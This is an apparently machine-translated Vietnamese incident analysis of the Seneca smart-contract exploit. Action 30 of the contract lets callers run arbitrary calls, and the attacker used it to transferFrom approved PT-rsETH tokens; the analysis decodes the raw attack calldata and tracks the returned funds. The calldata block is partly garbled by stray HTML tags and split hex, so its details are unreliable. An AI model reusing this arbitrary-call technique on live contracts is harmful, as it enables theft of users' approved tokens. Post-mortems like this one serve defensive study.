Dự án Seneca Có một hàm performanceOperations trong hợp đồng và các tham số được hàm này truyền vào được dùng để chọn thực thi logic hàm khác nhau.
Bạn có thể thấy rằng khi người dùng chỉ định hành động 30, hàm sẽ chọn gọi hàm _call và chuyển vào các tham số gọi do người dùng chỉ định.
Quá trình tấn côngKẻ tấn công trong vụ việc này đã thực hiện nhiều cuộc tấn công bằng cùng một phương pháp. Ở đây, chúng tôi lấy giao dịch 0x23fcf9d4517f7cc39815b09b0a80c023ab2c8196c826c93b4100f2e26b701286 làm ví dụ. Chúng ta hãy xem cách kẻ tấn công xây dựng dữ liệu cuộc gọi và thực hiện cuộc tấn công.
1. Kẻ tấn công trực tiếp gọi hàm performanceOperations và xây dựng các tham số sau, trong đó các hành động vượt qua 30 trên và hàm _call được gọi.

2. Dữ liệu dữ liệu là:
0x00000000000000000000000000b05cabcd99cf9a73b19805edefc5f67ca5d1895e
000000000000000000000000000 0 0000000000000000000000000000000000000a0
< p style="text-align: left;">00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000 000000000000000000000
000000000000000000000000000000000000000000000000000000000000< /p>
00000000000000000000000000000000000000000000000000000000000 000000064
23b872dd00000000000000000000000009 cbf099ff424979439dfba03f00b5961
784c06ce000000000000000000000000094641c01a4937f2c8ef930580cf39614
2a2942dc0000000000000000000000000000000000000000 00000004b180b8661
8eddc3ab000000000000000000000000000000000000000000000000000000000000
Theo quy tắc phân tích cú pháp, 32 byte đầu tiên là callee=0xb05cabcd99cf9a73b19805edefc5f67ca5d1895e.
callData thứ hai có kích thước a0, 100 (0x64) byte, sau đó bạn nhận được
callData là:
0x23b872dd00000000000000000000000009cbf099ff424979439dfba03f00b5961784c06ce000000000000000000000000094641c01a49 37 f2c8ef930580cf396142a2942dc000000000000000000000000000000000000000000000004b180b86618eddc3ab

3. Truy vấn bộ chọn hàm. Theo dữ liệu callData, callData chỉ định hàm transferFrom. Sau đó, chúng ta có thể phân tích cú pháp lệnh gọi này thành:
0xb05cabcd99cf9a73b19805edefc5f67ca5d1895e.transferFrom(0x9cbf099ff424979439dfba03f00b5961784c06ce,0x94641c01a4937f2c 8ef9 30580cf396142a2942dc,1385238431763437306795).

4. Vì trong giao dịch trước, 0x9cbf099ff424979439dfba03f00b5961784c06ce đã ủy quyền giá trị tối đa cho địa chỉ 0x65c210c59b43eb68112b7a4f75c8393c36491f06, nên ở đâykẻ tấn công trực tiếp chuyển 0x9cbf099ff42 thông qua hàm transferFrom. Hơn 1385 mã thông báo PT-rsETH-27JUN2024 (0xb05cabcd99cf9a73b19805edefc5f67ca5d1895e) của 4979439dfba03f00b5961784c06ce đã được chuyển đến địa chỉ riêng.

5. Kẻ tấn công sau đó đã đổi mã thông báo PT-rsETH-27JUN2024 lấy ETH.
Theo dõi quỹSau khi được Sau cuộc tấn công, người triển khai Seneca đã hét lên với kẻ tấn công, yêu cầu kẻ tấn công trả lại tiền và tuyên bố rằng 20% số tiền có thể được giữ lại làm phần thưởng mũ trắng.

Theo nền tảng theo dõi quỹ theo dõi Beosin, tính đến thời điểm báo chí, kẻ tấn công đã trả lại 1.537 ETH (80%) trong số hơn 1.900 ETH bị đánh cắp đến địa chỉ do người triển khai chỉ định và 370 ETH còn lại (20%) phân tán vẫn còn trên địa chỉ của kẻ tấn công.
